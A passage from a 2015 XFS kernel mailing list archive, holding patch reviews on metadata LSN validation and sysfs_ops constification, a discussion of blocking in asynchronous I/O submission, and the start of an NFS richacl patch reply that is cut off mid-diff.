| 21 +++-- fs/xfs/xfs_dir2_readdir.c | 2 +- fs/xfs/xfs_dquot.c | 14 +-- fs/xfs/xfs_file.c | 29 +++--- fs/xfs/xfs_icache.c | 18 ++-- fs/xfs/xfs_inode.c | 6 +- fs/xfs/xfs_ioctl.c | 8 +- fs/xfs/xfs_ioctl32.c | 2 +- fs/xfs/xfs_iomap.c | 51 ++++++---- fs/xfs/xfs_iops.c | 4 +- fs/xfs/xfs_linux.h | 7 ++ fs/xfs/xfs_log.c | 93 +++++++++++++++---- fs/xfs/xfs_log.h | 1 + fs/xfs/xfs_log_priv.h | 51 ++++++++++ fs/xfs/xfs_log_recover.c | 12 ++- fs/xfs/xfs_message.c | 7 ++ fs/xfs/xfs_mount.c | 11 ++- fs/xfs/xfs_mount.h | 1 + fs/xfs/xfs_pnfs.c | 5 + fs/xfs/xfs_qm.c | 14 +-- fs/xfs/xfs_stats.c | 91 +++++++++--------- fs/xfs/xfs_stats.h | 36 +++++--- fs/xfs/xfs_super.c | 49 ++++++++-- fs/xfs/xfs_sysctl.c | 15 +-- fs/xfs/xfs_sysfs.c | 185 ++++++++++++++++++++++-----------= ---- fs/xfs/xfs_sysfs.h | 1 + fs/xfs/xfs_trace.h | 1 + fs/xfs/xfs_trans.c | 6 +- fs/xfs/xfs_trans_ail.c | 12 +-- 51 files changed, 655 insertions(+), 325 deletions(-) --=20 Dave Chinner david@fromorbit.com --ibTvN161/egqYuK8 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iQIcBAEBAgAGBQJWG2XbAAoJEK3oKUf0dfod4AUP/1gTJ9O0KKVa39kKgBW2VGAc JHSyrr1U3Pva7JVCWolnlthNCAY6O6SGC/z2Va5AT42SMpXCsH5TkLUaThf3difs KxT2GMeaF/LtpOEkpx6zJKDIvn5tFPcMW8cHzRYun+NIJQ1vumLS8yaHYsjldUwW mTEYC1PXVH9a/cSEovE5C2ALJEIRoGGWjWruRXEThCn7w10u8ffipyjqk7LMxxHW U+LwINmCDHtGtt7oEh6VcsIF54YfwfuU4rn8PoocI58ENX/YuPU/735xmtAzc6rX /6iNiDtJN70w4dGcfIpZJXkPXfe/iZvarVwRAusmfGR5ZFqdkI4GzgS9b8L1kL4J ONCOGEzlPhzQENWPQN4BPwcXOrtFfQVSzJDwIy/1Q2Th4UBMk3ihXANUQJDhCoOW lgLTzYvnWRxKMbuPl5LZ6DcaIpXLxZQvxo3Jk+8zBiwwvFhRjzQo9Wx/zfSevGl0 hH3SdPLhjGGUtsmj6rjOMF+ABXncUIgbdK6Y+CS20IHeyc0kjhdGnl6qaHY7APrW p/o+StHKXT2bJU/W2iMt//u9FmTKLaAJsrus1yuMFlrdqHLYpA/w77GhIK+3n8X5 xHHNiNFWTFXcnJfVBtyn2AEm2dryNow0ZalL3BVic+9pCgJH0ZayVPn3dMRa7BRw Uz2D10c/+mJByZ+CTgad =kSOA -----END PGP SIGNATURE----- --ibTvN161/egqYuK8-- From bfoster@redhat.com Mon Oct 12 05:50:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9DA6E7F4E for ; Mon, 12 Oct 2015 05:50:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 369A2AC001 for ; Mon, 12 Oct 2015 03:50:36 -0700 (PDT) X-ASG-Debug-ID: 1444647034-04bdf020dbaed40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FkvtO7m1AQa3ose3 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 12 Oct 2015 03:50:34 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 5E8858F262; Mon, 12 Oct 2015 10:50:34 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9CAoXMu026321; Mon, 12 Oct 2015 06:50:34 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id CDFE6123DCD; Mon, 12 Oct 2015 06:50:32 -0400 (EDT) Date: Mon, 12 Oct 2015 06:50:32 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: validate metadata LSNs against log on v5 superblocks Message-ID: <20151012105032.GA25023@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: validate metadata LSNs against log on v5 superblocks References: <1443183869-16487-1-git-send-email-bfoster@redhat.com> <20151012045817.GE27164@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151012045817.GE27164@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444647034 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 12, 2015 at 03:58:17PM +1100, Dave Chinner wrote: > On Fri, Sep 25, 2015 at 08:24:29AM -0400, Brian Foster wrote: > > Since the onset of v5 superblocks, the LSN of the last modification has > > been included in a variety of on-disk data structures. This LSN is used > > to provide log recovery ordering guarantees (e.g., to ensure an older > > log recovery item is not replayed over a newer target data structure). > > > > While this works correctly from the point a filesystem is formatted and > > mounted, userspace tools have some problematic behaviors that defeat > > this mechanism. For example, xfs_repair historically zeroes out the log > > unconditionally (regardless of whether corruption is detected). If this > > occurs, the LSN of the filesystem is reset and the log is now in a > > problematic state with respect to on-disk metadata structures that might > > have a larger LSN. Until either the log catches up to the highest > > previously used metadata LSN or each affected data structure is modified > > and written out without incident (which resets the metadata LSN), log > > recovery is susceptible to filesystem corruption. > > > > This problem is ultimately addressed and repaired in the associated > > userspace tools. The kernel is still responsible to detect the problem > > and notify the user that something is wrong. Check the superblock LSN at > > mount time and fail the mount if it is invalid. From that point on, > > trigger verifier failure on any metadata I/O where an invalid LSN is > > detected. This results in a filesystem shutdown and guarantees that we > > do not log metadata changes with invalid LSNs on disk. Since this is a > > known issue with a known recovery path, present a warning to instruct > > the user how to recover. > > > > Signed-off-by: Brian Foster > > --- ... > > diff --git a/fs/xfs/libxfs/xfs_da_btree.c b/fs/xfs/libxfs/xfs_da_btree.c > > index be43248..e89a0f8 100644 > > --- a/fs/xfs/libxfs/xfs_da_btree.c > > +++ b/fs/xfs/libxfs/xfs_da_btree.c ... > > @@ -322,6 +325,7 @@ xfs_da3_node_create( > > if (xfs_sb_version_hascrc(&mp->m_sb)) { > > struct xfs_da3_node_hdr *hdr3 = bp->b_addr; > > > > + memset(hdr3, 0, sizeof(struct xfs_da3_node_hdr)); > > ichdr.magic = XFS_DA3_NODE_MAGIC; > > hdr3->info.blkno = cpu_to_be64(bp->b_bn); > > hdr3->info.owner = cpu_to_be64(args->dp->i_ino); > > Is this a bug fix or just cleanliness? The LSN gets written into the > header before it goes to disk, so there is nothing uninitialised > that I am unaware of ending up on disk from this. > Sorry, I should have pointed this out in the commit log description. I probably forgot as these were added after the fact from testing and reproducing write verifier failures. Both memset() calls are actually bug fixes with respect to the LSN checks that this patch adds. They don't affect anything on disk. They just prevent spurious write verifier failures on object creation because the write verifiers first verify the data structure and then update the LSN, which means uninitialized data structures in memory can get into the verifiers with garbage in the LSN field. IIRC, I dug around at the time and saw that most of such data structures were initialized or allocated with zeroed memory and so took the same approach here. Thanks for the other fixups. Brian > > @@ -60,6 +61,7 @@ xfs_symlink_hdr_set( > > if (!xfs_sb_version_hascrc(&mp->m_sb)) > > return 0; > > > > + memset(dsl, 0, sizeof(struct xfs_dsymlink_hdr)); > > dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); > > dsl->sl_offset = cpu_to_be32(offset); > > dsl->sl_bytes = cpu_to_be32(size); > > Ditto. > > > index aaadee0..0c8ef76 100644 > > --- a/fs/xfs/xfs_log.c > > +++ b/fs/xfs/xfs_log.c > > @@ -3165,11 +3165,19 @@ xlog_state_switch_iclogs( > > } > > > > if (log->l_curr_block >= log->l_logBBsize) { > > + /* > > + * Rewind the current block before the cycle is bumped to make > > + * sure that the combined LSN never transiently moves forward > > + * when the log wraps to the next cycle. This is to support the > > + * unlocked sample of these fields from xlog_valid_lsn(). Most > > + * other cases should acquire l_icloglock. > > + */ > > + log->l_curr_block -= log->l_logBBsize; > > + ASSERT(log->l_curr_block >= 0); > > + smp_wmb(); > > log->l_curr_cycle++; > > OK, so we make sure the write of the l_curr_block cannot be > reordered to after the write of the l_curr_cycle. > > > diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h > > index 950f3f9..8daba74 100644 > > --- a/fs/xfs/xfs_log_priv.h > > +++ b/fs/xfs/xfs_log_priv.h > > @@ -560,4 +560,55 @@ static inline void xlog_wait(wait_queue_head_t *wq, spinlock_t *lock) > > remove_wait_queue(wq, &wait); > > } > > > > +/* > > + * The LSN is valid so long as it is behind the current LSN. If it isn't, this > > + * means that the next log record that includes this metadata could have a > > + * smaller LSN. In turn, this means that the modification in the log would not > > + * replay. > > + */ > > +static inline bool > > +xlog_valid_lsn( > > + struct xlog *log, > > + xfs_lsn_t lsn) > > +{ > > + int cur_cycle; > > + int cur_block; > > + bool valid = true; > > + > > + /* > > + * First, sample the current lsn without locking to avoid added > > + * contention from metadata I/O. The current cycle and block are updated > > + * (in xlog_state_switch_iclogs()) and read here in a particular order > > + * to avoid false negatives (e.g., thinking the metadata LSN is valid > > + * when it is not). > > + * > > + * The current block is always rewound before the cycle is bumped in > > + * xlog_state_switch_iclogs() to ensure the current LSN is never seen in > > + * a transiently forward state. Instead, we can see the LSN in a > > + * transiently behind state if we happen to race with a cycle wrap. > > + */ > > + cur_cycle = ACCESS_ONCE(log->l_curr_cycle); > > + smp_rmb(); > > + cur_block = ACCESS_ONCE(log->l_curr_block); > > And we make sure the read of the block cannot be reordered to before > the l_curr_cycle. Looks ok to me. > > I'm going to commit this as is because I don't think the memset()s > above actuallly change anything on disk. I can always redo the > commit if this is in error... > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From avi@cloudius-systems.com Mon Oct 12 07:37:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 88C0F7F51 for ; Mon, 12 Oct 2015 07:37:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 78BDD8F8033 for ; Mon, 12 Oct 2015 05:37:10 -0700 (PDT) X-ASG-Debug-ID: 1444653427-04cb6c578ab91c0001-NocioJ Received: from mail-wi0-f173.google.com (mail-wi0-f173.google.com [209.85.212.173]) by cuda.sgi.com with ESMTP id Ov7A7091CTIBPJ0U (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 12 Oct 2015 05:37:08 -0700 (PDT) X-Barracuda-Envelope-From: avi@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.212.173 Received: by wicge5 with SMTP id ge5so15798258wic.0 for ; Mon, 12 Oct 2015 05:37:07 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:subject:to:references:cc:from:message-id:date :user-agent:mime-version:in-reply-to:content-type :content-transfer-encoding; bh=JUe2Tuso4zRKcI+0DK4UHNyZV3al4GYQgXaiKOfC8UA=; b=mfH+U11my/JBQ0+6ILgeUIeZfeJfDXTmdyaiHnJGU/OBunQ4S2FFs9wDpQhFbKlQsx l9fx34i88e84Y4VLvspjE2gQWoizJeVAYbHb6eo1FEbTel4ECzBnk1MgMRGQyWCEMovY mbi/HU+Eo4tsaX6n9GdmZnhWZ+XkVrrQBXkfkEXa/Wp9O9n04Trncq/65JMTXgFHw0/Y 9pZtK7fhQJcKzlYl27nl3Axq5LTR92Alhj5AJuNfVfKeKz3b4sFpd2PUScZa6Y3G7A1V JE7wpS9a9eq6nM6FJS1+zWyaUzZD9zgwpzPI3TSs+jtKOFyQ4JVIReNLa73BgriojJrt k3sw== X-Gm-Message-State: ALoCoQn06KMP5ejgyOyT1RD00xGD43gJVwWZCDeFBMt8tVoaD46Bq8BfJDDLlxqwNWisWDLcgOfc X-Received: by 10.180.105.33 with SMTP id gj1mr13554552wib.90.1444653426987; Mon, 12 Oct 2015 05:37:06 -0700 (PDT) Received: from avi.cloudius-systems.com ([37.142.229.250]) by smtp.googlemail.com with ESMTPSA id p7sm19639026wjf.26.2015.10.12.05.37.05 (version=TLSv1/SSLv3 cipher=OTHER); Mon, 12 Oct 2015 05:37:05 -0700 (PDT) Subject: Re: Question about non asynchronous aio calls. To: Dave Chinner , Gleb Natapov X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> <561560B2.1080902@scylladb.com> <20151008042831.GU27164@dastard> <5615FD76.1090309@scylladb.com> <20151008082307.GE11716@scylladb.com> <20151008114622.GV27164@dastard> Cc: Eric Sandeen , Brian Foster , xfs@oss.sgi.com From: Avi Kivity Message-ID: <561BA970.8080504@scylladb.com> Date: Mon, 12 Oct 2015 15:37:04 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151008114622.GV27164@dastard> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wi0-f173.google.com[209.85.212.173] X-Barracuda-Start-Time: 1444653427 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23415 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/08/2015 02:46 PM, Dave Chinner wrote: > On Thu, Oct 08, 2015 at 11:23:07AM +0300, Gleb Natapov wrote: >> On Thu, Oct 08, 2015 at 08:21:58AM +0300, Avi Kivity wrote: >>>>>> I fixed something similar in ext4 at the time, FWIW. >>>>> Makes sense. >>>>> >>>>> Is there a way to relax this for reads? >>>> The above mostly only applies to writes. Reads don't modify data so >>>> racing unaligned reads against other reads won't given unexpected >>>> results and so aren't serialised. >>>> >>>> i.e. serialisation will only occur when: >>>> - unaligned write IO will serialise until sub-block zeroing >>>> is complete. >>>> - write IO extending EOF will serialis until post-EOF >>>> zeroing is complete >>> >>> By "complete" here, do you mean that a call to truncate() returned, or that >>> its results reached the disk an unknown time later? >>> > No, I'm talking purely about DIO here. If you do write that > starts beyond the existing EOF, there is a region between the > current EOF and the offset the write starts at. i.e. > > 0 EOF offset new EOF > +dddddddddddddd+..............+nnnnnnnnnnn+ > > It is the region between EOF and offset that we must ensure is made > up of either holes, unwritten extents or fully zeroed blocks before > allowing the write to proceed. If we have to zero allocated blocks, > then we have to ensure that completes before the write can start. > This means that when we update the EOF on completion of the write, > we don't expose stale data in blocks that were between EOF and > offset... Thanks. We found, experimentally, that io_submit(write_at_eof) followed by (without waiting) io_submit(write_at_what_would_be_the_new_eof) occasionally blocks. So I guess we have to employ a train algorithm here and keep at most one aio in flight for append loads (which are very common for us). > >> I think Brian already answered that one with: >> >> There are no such pitfalls as far as I'm aware. The entire AIO >> submission synchronization sequence triggers off an in-memory i_size >> check in xfs_file_aio_write_checks(). The in-memory i_size is updated in >> the truncate path (xfs_setattr_size()) via truncate_setsize(), so at >> that point the new size should be visible to subsequent AIO writers. > Different situation as truncate serialises all IO. Extending the file > via truncate also runs the same "EOF zeroing" that the DIO code runs > above, for the same reasons. Does that mean that truncate() will wait for inflight aios, or that new aios will wait for the truncate() to complete, or both? > >>>> - truncate/extent manipulation syscall is run >>> Actually, we do call fallocate() ahead of io_submit() (in a worker thread, >>> in non-overlapping ranges) to optimize file layout and also in the belief >>> that it would reduce the amount of blocking io_submit() does. > fallocate serialises all IO submission - including reads. Unlike > truncate, however, it doesn't drain the queue of IO for > preallocation so the impact on AIO is somewhat limited. > > Ideally you want to limit fallocate calls to large chunks at a time. > If you have a 1:1 mapping of fallocate calls to write calls, then > you're likely making things worse for the AIO submission path > because you'll block reads as well as writes. Doing the allocation > in the write submission path will not block reads, and only writes > that are attempting to do concurrent allocations to the same file > will serialise... We have a 1:8 ratio (128K:1M), but that's just random numbers we guessed. Again, not only for reduced xfs metadata, but also to reduce the amount of write amplification done by the FTL. We have a concurrent append workload on many files, and files are reclaimed out of order, so larger extends means less fragmentation for the FTL later on. > > If you want to limit fragmentation without adding and overhead on > XFS for non-sparse files (which it sounds like your case), then the > best thing to use in XFS is the per-inode extent size hints. You set > it on the file when first creating it (or the parent directory so > all children inherit it at create), and then the allocator will > round out allocations to the size hint alignment and size, including > beyond EOF so appending writes can take advantage of it.... We'll try that out. That's fsxattr::fsx_extsize? What about small files that are eventually closed, do I need to do anything to reclaim the preallocated space? > >>> A final point is discoverability. There is no way to discover safe >>> alignment for reads and writes, and which operations block io_submit(), >>> except by asking here, which cannot be done at runtime. Interfaces that >>> provide a way to query these attributes are very important to us. >> As Brian pointed statfs() can be use to get f_bsize which is defined as >> "optimal transfer block size". > Well, that's what posix calls it. It's not really the optimal IO > size, though, it's just the IO size that avoids page cache RMW > cycles. For direct IO, larger tends to be better, and IO aligned to > the underlying geometry of the storage is even better. See, for > example, the "largeio" mount option, which will make XFS report the > stripe width in f_bsize rather than the PAGE_SIZE of the machine.... > Well, random reads will still be faster with 512 byte alignment, yes? and for random writes, you can't just make those I/Os larger, you'll overwrite something. So I read "optimal" here to mean "smallest I/O size that doesn't incur a penalty; but if you really need more data, making it larger will help". From bfoster@redhat.com Mon Oct 12 07:49:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BA3837F53 for ; Mon, 12 Oct 2015 07:49:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 49167AC001 for ; Mon, 12 Oct 2015 05:49:14 -0700 (PDT) X-ASG-Debug-ID: 1444654152-04cbb05fbe4e6a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ng8ecohJnW1Hc3Zy (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 12 Oct 2015 05:49:13 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 4F6672ED159; Mon, 12 Oct 2015 12:49:12 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9CCnBZL000333; Mon, 12 Oct 2015 08:49:12 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id BF881123DCD; Mon, 12 Oct 2015 08:49:10 -0400 (EDT) Date: Mon, 12 Oct 2015 08:49:10 -0400 From: Brian Foster To: Julia Lawall Cc: Dave Chinner , kernel-janitors@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: constify sysfs_ops structures Message-ID: <20151012124910.GB25023@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: constify sysfs_ops structures References: <1444560146-22737-1-git-send-email-Julia.Lawall@lip6.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444560146-22737-1-git-send-email-Julia.Lawall@lip6.fr> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444654153 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sun, Oct 11, 2015 at 12:42:26PM +0200, Julia Lawall wrote: > These sysfs_ops structures are never modified. All other sysfs_ops > structures in the kernel are declared as const. > > Done with the help of Coccinelle. > > Signed-off-by: Julia Lawall > The fix looks correct, but these data structures just happened to be removed and condensed into a more generic xfs_sysfs_ops definition as part of the recent per-mount stats series. See commit a27c2640 ("xfs: consolidate sysfs ops") for reference. Brian > --- > fs/xfs/xfs_sysfs.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) > > diff --git a/fs/xfs/xfs_sysfs.c b/fs/xfs/xfs_sysfs.c > index aa03670..192c865 100644 > --- a/fs/xfs/xfs_sysfs.c > +++ b/fs/xfs/xfs_sysfs.c > @@ -112,7 +112,7 @@ xfs_dbg_store( > return xfs_attr->store ? xfs_attr->store(buf, count, NULL) : 0; > } > > -static struct sysfs_ops xfs_dbg_ops = { > +static const struct sysfs_ops xfs_dbg_ops = { > .show = xfs_dbg_show, > .store = xfs_dbg_store, > }; > @@ -227,7 +227,7 @@ xfs_log_store( > return xfs_attr->store ? xfs_attr->store(buf, count, log) : 0; > } > > -static struct sysfs_ops xfs_log_ops = { > +static const struct sysfs_ops xfs_log_ops = { > .show = xfs_log_show, > .store = xfs_log_store, > }; > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From Anna.Schumaker@netapp.com Mon Oct 12 09:39:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BFBE67F55 for ; Mon, 12 Oct 2015 09:39:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8BA9E30405F for ; Mon, 12 Oct 2015 07:39:43 -0700 (PDT) X-ASG-Debug-ID: 1444660777-04cb6c578bc1810001-NocioJ Received: from mx141.netapp.com (mx141.netapp.com [216.240.21.12]) by cuda.sgi.com with ESMTP id wB25mSm3eZuL5G1j (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 12 Oct 2015 07:39:38 -0700 (PDT) X-Barracuda-Envelope-From: Anna.Schumaker@netapp.com X-Barracuda-Apparent-Source-IP: 216.240.21.12 X-IronPort-AV: E=Sophos;i="5.17,673,1437462000"; d="scan'208";a="74324753" Received: from vmwexchts03-prd.hq.netapp.com ([10.122.105.31]) by mx141-out.netapp.com with ESMTP; 12 Oct 2015 07:39:37 -0700 Received: from smtp2.corp.netapp.com (10.57.159.114) by VMWEXCHTS03-PRD.hq.netapp.com (10.122.105.31) with Microsoft SMTP Server id 15.0.1104.5; Mon, 12 Oct 2015 07:39:37 -0700 Received: from davros.ocarinaproject ([10.63.231.0]) by smtp2.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id t9CEdWXu027395; Mon, 12 Oct 2015 07:39:32 -0700 (PDT) From: Anna Schumaker Subject: Re: [PATCH v10 44/46] nfs: Add richacl support To: Andreas Gruenbacher , Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , , , , , , , X-ASG-Orig-Subj: Re: [PATCH v10 44/46] nfs: Add richacl support References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-45-git-send-email-andreas.gruenbacher@gmail.com> CC: Andreas Gruenbacher Message-ID: <561BC61E.6010704@Netapp.com> Date: Mon, 12 Oct 2015 10:39:26 -0400 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <1444604337-17651-45-git-send-email-andreas.gruenbacher@gmail.com> Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mx141.netapp.com[216.240.21.12] X-Barracuda-Start-Time: 1444660778 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23417 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Andreas, On 10/11/2015 06:58 PM, Andreas Gruenbacher wrote: > From: Andreas Gruenbacher > > Add support for the "system.richacl" xattr in nfs. The existing > "system.nfs4_acl" xattr on nfs doesn't map user and group names to uids > and gids; the "system.richacl" xattr does, and only keeps the > on-the-wire names when there is no mapping. This allows to copy > permissions across different file systems. > > Signed-off-by: Andreas Gruenbacher > --- > fs/nfs/inode.c | 3 - > fs/nfs/nfs4proc.c | 698 +++++++++++++++++++++++++++++++++------------- > fs/nfs/nfs4xdr.c | 179 ++++++++++-- > fs/nfs/super.c | 4 +- > include/linux/nfs_fs.h | 1 - > include/linux/nfs_fs_sb.h | 2 + > include/linux/nfs_xdr.h | 9 +- > 7 files changed, 673 insertions(+), 223 deletions(-) > > diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c > index 326d9e1..843d15d 100644 > --- a/fs/nfs/inode.c > +++ b/fs/nfs/inode.c > @@ -1852,9 +1852,6 @@ struct inode *nfs_alloc_inode(struct super_block *sb) > return NULL; > nfsi->flags = 0UL; > nfsi->cache_validity = 0UL; > -#if IS_ENABLED(CONFIG_NFS_V4) > - nfsi->nfs4_acl = NULL; > -#endif /* CONFIG_NFS_V4 */ > return &nfsi->vfs_inode; > } > EXPORT_SYMBOL_GPL(nfs_alloc_inode); > diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c > index eec5c4c..a686251 100644 > --- a/fs/nfs/nfs4proc.c > +++ b/fs/nfs/nfs4proc.c > @@ -55,6 +55,9 @@ > #include > #include > #include > +#include > +#include > +#include > > #include "nfs4_fs.h" > #include "delegation.h" > @@ -2982,15 +2985,18 @@ static int _nfs4_server_capabilities(struct nfs_server *server, struct nfs_fh *f > res.attr_bitmask[2] &= FATTR4_WORD2_NFS42_MASK; > } > memcpy(server->attr_bitmask, res.attr_bitmask, sizeof(server->attr_bitmask)); > - server->caps &= ~(NFS_CAP_ACLS|NFS_CAP_HARDLINKS| > - NFS_CAP_SYMLINKS|NFS_CAP_FILEID| > + server->caps &= ~(NFS_CAP_ALLOW_ACLS|NFS_CAP_DENY_ACLS| > + NFS_CAP_HARDLINKS|NFS_CAP_SYMLINKS|NFS_CAP_FILEID| > NFS_CAP_MODE|NFS_CAP_NLINK|NFS_CAP_OWNER| > NFS_CAP_OWNER_GROUP|NFS_CAP_ATIME| > NFS_CAP_CTIME|NFS_CAP_MTIME| > NFS_CAP_SECURITY_LABEL); > - if (res.attr_bitmask[0] & FATTR4_WORD0_ACL && > - res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) > - server->caps |= NFS_CAP_ACLS; > + if 